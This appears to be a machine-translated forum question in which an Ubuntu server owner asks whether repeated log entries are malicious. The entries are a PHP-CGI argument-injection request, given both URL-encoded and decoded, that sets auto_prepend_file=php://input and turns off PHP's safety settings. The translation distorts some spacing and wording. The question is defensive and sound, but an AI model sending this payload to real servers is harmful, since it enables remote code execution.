это вредоносный трафик?
Я просматривал журналы своего сервера, когда я наткнулся на несколько тысяч этих драгоценных камней: от нескольких IP-адресов: «Мой вопрос в том, что это за хлам? что это пытается выполнить? Я уверен, что я не использую CGI-BIN для чего-либо. Я запускаю сервер Ubuntu 13.04.
он читает:
69.64.59.8 - - [18 / Dec / 2013: 16: 12: 43 -0500] "POST / cgi-bin / php?% 2D% 64 +% 61% 6C% 6C% 6F% 77% 5F% 75% 72% 6C% 5F% 69% 6E% 63% 6C% 75% 64% 65% 3D% 6F% 6E +% 2D% 64 +% 73% 61 % 66% 65% 5F% 6D% 6F% 64% 65% 3D% 6F% 66% 66 +% 2D% 64 +% 73% 75% 68% 6F% 73% 69% 6E% 2E% 73% 69% 6D % 75% 6C% 61% 74% 69% 6F% 6E% 3D% 6F% 6E +% 2D% 64 +% 64% 69% 73% 61% 62% 6C% 65% 5F% 66% 75% 6E% 63% 74% 69% 6F% 6E% 73% 3D% 22% 22 +% 2D% 64 +% 6F% 70% 65% 6E% 5F% 62% 61% 73% 65% 64% 69% 72% 3D% 6E% 6F% 6E% 65 +% 2D% 64 +% 61% 75% 74% 6F% 5F% 70% 72% 65% 70% 65% 6E% 64% 5F% 66% 69% 6C% 65% 3D% 70% 68% 70% 3A% 2F% 2F% 69% 6E% 70% 75% 74 +% 2D% 64 +% 63% 67% 69% 2E% 66% 6F% 72% 63% 65% 5F% 72% 65% 64% 69% 72% 65% 63% 74% 3D% 30 +% 2D% 64 +% 63% 67% 69% 2E% 72% 65% 64% 69% 72% 65% 63% 74% 5F% 73% 74% 61% 74% 75% 73% 5%% 65% 6E% 76% 3D% 30 +% 2D% 6E HTTP / 1.1 "404 493" - "" Mozilla / 5.0 (iPad, CPU OS 6_0, как Mac OS X) AppleWebKit / 536.26 (KHTML, как и Gecko) Версия / 6.0 Mobile / 10A5355d Safari / 8536.25 ", что означает:
[18 / Dec / 2013: 16: 12: 44 - 0500] "POST /cgi-bin/php.cgi?-dallow_url_include=on-dsafe_mode=off-dsuhosin.simulation=on-ddisable_functions=""-dopen_basedir = none-dauto_prepend_file = php: //input-dcgi.force_redirect=0-dcgi.redirect_status_env=0-n HTTP / 1.1 "404 497" - "" Mozilla / 5.0 (iPad; CPU OS 6_0, как Mac OS X) AppleWebKit / 536.26 (KHTML, например, Gecko) Версия / 6.0 Mobile / 10A5355d Safari / 8536.25 "1
задан Braiam
19 December 2013 в 18:14
поделиться